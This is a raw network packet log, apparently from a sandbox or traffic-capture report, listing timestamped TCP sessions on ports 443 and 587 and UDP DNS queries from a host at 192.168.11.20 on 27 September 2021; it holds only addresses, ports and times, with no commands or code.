Sep 27, 2021 18:55:59.410005093 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.410021067 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.410320044 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.410774946 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.410908937 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.410972118 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.411063910 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.411092043 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.411099911 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.411165953 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.411277056 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.411569118 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.411681890 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.411736965 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.411761045 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.411823988 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.412020922 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.412466049 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.412616014 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.412643909 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.412663937 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.412769079 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.412777901 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.414105892 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.414325953 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.414392948 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.414408922 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.414549112 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.414618969 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.414632082 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.414648056 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.414776087 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.415079117 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.415107012 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.415278912 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.415349960 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.415482998 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.415541887 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.415563107 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.415638924 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.415771961 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.415812016 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.415958881 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.416104078 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.416241884 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.416271925 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.416291952 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.416558027 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.416600943 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.416749001 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.416805029 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.416945934 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.416968107 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.417071104 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.417243004 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.417269945 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.417275906 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.417417049 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.417593956 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.417737007 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.417762995 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.417893887 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.417908907 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.417926073 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.418026924 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.418169022 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.418339014 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.418514967 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.418555975 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.418575048 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.418665886 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.418816090 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.418832064 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.419138908 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.419243097 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.419384003 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.419405937 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.419478893 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.419574022 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.419600010 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.419617891 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.419843912 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.419976950 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.420085907 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.420195103 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.420231104 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.420248985 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.420543909 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.420706034 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.420834064 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.420887947 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.420907974 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.421113014 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.421165943 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.421180010 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.421328068 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.422347069 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.422463894 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.422518015 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.422538996 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.422615051 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.422657967 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.422775984 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.422791958 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.422804117 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.422832966 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.422939062 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.422954082 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.422966957 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.423176050 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.423314095 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.423465967 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.423495054 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.423681974 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.423731089 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.423749924 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.423861980 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.423944950 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.423968077 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.424170971 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.424407005 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.424509048 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.424551010 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.424570084 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.424685001 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.424685955 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.424731970 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.424740076 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.424772978 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.424916983 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.425019026 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.425023079 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.425044060 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.425219059 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.425340891 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.425448895 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.425460100 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.425483942 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.425640106 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.425668001 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.425694942 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.425990105 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.426131964 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.426255941 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.426335096 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.426356077 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.426403999 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.426496983 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.426517010 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.426656008 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.426673889 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.426690102 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.426783085 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.426796913 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.426810026 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.426954031 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.426989079 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.427006006 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.427113056 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.427119017 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.427205086 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.427225113 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.427340031 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.427356005 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.427402973 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.427418947 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.427501917 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.427561045 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.427659988 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.427664995 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.427685022 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.427726030 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.427789927 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.427831888 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.427880049 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.427896976 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.427997112 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.428056002 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.428075075 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.428141117 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.428184032 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.428272963 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.428306103 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.428324938 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.428365946 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.428437948 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.428476095 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.428634882 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.428647041 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.428659916 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.428790092 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.428812981 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.428946018 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.429013968 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.429033041 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.429110050 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.429197073 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.429229975 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.429246902 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.429400921 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.429418087 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.429567099 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.429589987 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.429613113 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.429783106 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.429836988 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.429950953 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.429966927 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.429979086 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.430126905 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.430143118 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.430253983 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.430284023 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.430300951 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.430308104 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.430562019 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.430598974 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.430617094 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.430759907 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.430829048 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.430922031 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.431010962 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.431039095 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.431062937 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.431183100 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.431269884 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.431386948 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.431480885 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.431545019 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.431581020 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.431643009 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.431777000 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.431797028 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.431823015 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.431973934 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.431999922 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.432174921 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.432208061 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.432352066 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.432446003 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.432477951 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.432524920 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.432704926 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:55:59.432760954 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.432868004 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.433334112 CEST	49719	443	192.168.11.20	142.250.184.193
Sep 27, 2021 18:55:59.433382988 CEST	443	49719	142.250.184.193	192.168.11.20
Sep 27, 2021 18:57:36.118530035 CEST	49739	587	192.168.11.20	37.59.226.120
Sep 27, 2021 18:57:36.134874105 CEST	587	49739	37.59.226.120	192.168.11.20
Sep 27, 2021 18:57:36.135080099 CEST	49739	587	192.168.11.20	37.59.226.120
Sep 27, 2021 18:57:36.170696974 CEST	587	49739	37.59.226.120	192.168.11.20
Sep 27, 2021 18:57:36.171293020 CEST	49739	587	192.168.11.20	37.59.226.120
Sep 27, 2021 18:57:36.188047886 CEST	587	49739	37.59.226.120	192.168.11.20
Sep 27, 2021 18:57:36.188357115 CEST	49739	587	192.168.11.20	37.59.226.120
Sep 27, 2021 18:57:36.206195116 CEST	587	49739	37.59.226.120	192.168.11.20
Sep 27, 2021 18:57:36.209184885 CEST	49739	587	192.168.11.20	37.59.226.120
Sep 27, 2021 18:57:36.234060049 CEST	587	49739	37.59.226.120	192.168.11.20
Sep 27, 2021 18:57:36.234138966 CEST	587	49739	37.59.226.120	192.168.11.20
Sep 27, 2021 18:57:36.234200001 CEST	587	49739	37.59.226.120	192.168.11.20
Sep 27, 2021 18:57:36.234241962 CEST	587	49739	37.59.226.120	192.168.11.20
Sep 27, 2021 18:57:36.234370947 CEST	49739	587	192.168.11.20	37.59.226.120
Sep 27, 2021 18:57:36.234433889 CEST	49739	587	192.168.11.20	37.59.226.120
Sep 27, 2021 18:57:36.236145973 CEST	587	49739	37.59.226.120	192.168.11.20
Sep 27, 2021 18:57:36.240148067 CEST	49739	587	192.168.11.20	37.59.226.120
Sep 27, 2021 18:57:36.256917953 CEST	587	49739	37.59.226.120	192.168.11.20
Sep 27, 2021 18:57:36.303848982 CEST	49739	587	192.168.11.20	37.59.226.120
Sep 27, 2021 18:57:36.427145958 CEST	49739	587	192.168.11.20	37.59.226.120
Sep 27, 2021 18:57:36.443448067 CEST	587	49739	37.59.226.120	192.168.11.20
Sep 27, 2021 18:57:36.445132017 CEST	49739	587	192.168.11.20	37.59.226.120
Sep 27, 2021 18:57:36.461621046 CEST	587	49739	37.59.226.120	192.168.11.20
Sep 27, 2021 18:57:36.462096930 CEST	49739	587	192.168.11.20	37.59.226.120
Sep 27, 2021 18:57:36.483825922 CEST	587	49739	37.59.226.120	192.168.11.20
Sep 27, 2021 18:57:36.484376907 CEST	49739	587	192.168.11.20	37.59.226.120
Sep 27, 2021 18:57:36.501034021 CEST	587	49739	37.59.226.120	192.168.11.20
Sep 27, 2021 18:57:36.501471043 CEST	49739	587	192.168.11.20	37.59.226.120
Sep 27, 2021 18:57:36.527748108 CEST	587	49739	37.59.226.120	192.168.11.20
Sep 27, 2021 18:57:36.528237104 CEST	49739	587	192.168.11.20	37.59.226.120
Sep 27, 2021 18:57:36.544970989 CEST	587	49739	37.59.226.120	192.168.11.20
Sep 27, 2021 18:57:36.600666046 CEST	49739	587	192.168.11.20	37.59.226.120
Sep 27, 2021 18:57:36.625514984 CEST	49739	587	192.168.11.20	37.59.226.120
Sep 27, 2021 18:57:36.625691891 CEST	49739	587	192.168.11.20	37.59.226.120
Sep 27, 2021 18:57:36.625700951 CEST	49739	587	192.168.11.20	37.59.226.120
Sep 27, 2021 18:57:36.625705004 CEST	49739	587	192.168.11.20	37.59.226.120
Sep 27, 2021 18:57:36.641834974 CEST	587	49739	37.59.226.120	192.168.11.20
Sep 27, 2021 18:57:36.641865015 CEST	587	49739	37.59.226.120	192.168.11.20
Sep 27, 2021 18:57:36.641885042 CEST	587	49739	37.59.226.120	192.168.11.20
Sep 27, 2021 18:57:36.641896009 CEST	587	49739	37.59.226.120	192.168.11.20
Sep 27, 2021 18:57:36.643217087 CEST	587	49739	37.59.226.120	192.168.11.20
Sep 27, 2021 18:57:36.694386959 CEST	49739	587	192.168.11.20	37.59.226.120
Sep 27, 2021 18:59:15.766380072 CEST	49739	587	192.168.11.20	37.59.226.120
Sep 27, 2021 18:59:15.784145117 CEST	587	49739	37.59.226.120	192.168.11.20
Sep 27, 2021 18:59:15.784390926 CEST	49739	587	192.168.11.20	37.59.226.120
Sep 27, 2021 18:59:15.784792900 CEST	49739	587	192.168.11.20	37.59.226.120

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2021 18:54:58.992866993 CEST	49200	53	192.168.11.20	1.1.1.1
Sep 27, 2021 18:54:59.002526999 CEST	53	49200	1.1.1.1	192.168.11.20
Sep 27, 2021 18:54:59.332957983 CEST	58708	53	192.168.11.20	1.1.1.1
Sep 27, 2021 18:54:59.342324972 CEST	53	58708	1.1.1.1	192.168.11.20
Sep 27, 2021 18:54:59.986871004 CEST	54493	53	192.168.11.20	1.1.1.1
Sep 27, 2021 18:54:59.995827913 CEST	53	54493	1.1.1.1	192.168.11.20
Sep 27, 2021 18:55:00.027987957 CEST	54333	53	192.168.11.20	1.1.1.1
Sep 27, 2021 18:55:00.036634922 CEST	53	54333	1.1.1.1	192.168.11.20
Sep 27, 2021 18:55:00.269846916 CEST	59316	53	192.168.11.20	1.1.1.1
Sep 27, 2021 18:55:00.278496981 CEST	53	59316	1.1.1.1	192.168.11.20
Sep 27, 2021 18:55:07.998133898 CEST	60498	53	192.168.11.20	1.1.1.1
Sep 27, 2021 18:55:08.006593943 CEST	53	60498	1.1.1.1	192.168.11.20
Sep 27, 2021 18:55:09.241664886 CEST	57543	53	192.168.11.20	1.1.1.1
Sep 27, 2021 18:55:09.249967098 CEST	53	57543	1.1.1.1	192.168.11.20
Sep 27, 2021 18:55:10.108222008 CEST	56986	53	192.168.11.20	1.1.1.1
Sep 27, 2021 18:55:10.116950035 CEST	53	56986	1.1.1.1	192.168.11.20
Sep 27, 2021 18:55:10.981865883 CEST	65400	53	192.168.11.20	1.1.1.1
Sep 27, 2021 18:55:10.990101099 CEST	53	65400	1.1.1.1	192.168.11.20
Sep 27, 2021 18:55:10.997386932 CEST	60244	53	192.168.11.20	1.1.1.1
Sep 27, 2021 18:55:11.005743980 CEST	53	60244	1.1.1.1	192.168.11.20
Sep 27, 2021 18:55:11.434505939 CEST	54610	53	192.168.11.20	1.1.1.1
Sep 27, 2021 18:55:11.444691896 CEST	53	54610	1.1.1.1	192.168.11.20
Sep 27, 2021 18:55:13.431529045 CEST	52324	53	192.168.11.20	1.1.1.1
Sep 27, 2021 18:55:13.440089941 CEST	53	52324	1.1.1.1	192.168.11.20
Sep 27, 2021 18:55:58.509557962 CEST	49807	53	192.168.11.20	1.1.1.1
Sep 27, 2021 18:55:58.518080950 CEST	53	49807	1.1.1.1	192.168.11.20
Sep 27, 2021 18:55:59.107471943 CEST	59668	53	192.168.11.20	1.1.1.1
Sep 27, 2021 18:55:59.137696028 CEST	53	59668	1.1.1.1	192.168.11.20
Sep 27, 2021 18:56:10.454732895 CEST	62848	53	192.168.11.20	1.1.1.1
Sep 27, 2021 18:56:10.463443995 CEST	53	62848	1.1.1.1	192.168.11.20
Sep 27, 2021 18:56:10.524091959 CEST	52103	53	192.168.11.20	1.1.1.1
Sep 27, 2021 18:56:10.533180952 CEST	53	52103	1.1.1.1	192.168.11.20
Sep 27, 2021 18:56:10.813188076 CEST	60977	53	192.168.11.20	1.1.1.1
Sep 27, 2021 18:56:10.822906017 CEST	53	60977	1.1.1.1	192.168.11.20
Sep 27, 2021 18:56:12.802936077 CEST	63020	53	192.168.11.20	1.1.1.1
Sep 27, 2021 18:56:12.812693119 CEST	53	63020	1.1.1.1	192.168.11.20
Sep 27, 2021 18:56:38.029011965 CEST	62724	53	192.168.11.20	1.1.1.1
Sep 27, 2021 18:56:38.037296057 CEST	53	62724	1.1.1.1	192.168.11.20
Sep 27, 2021 18:57:35.737463951 CEST	49924	53	192.168.11.20	1.1.1.1
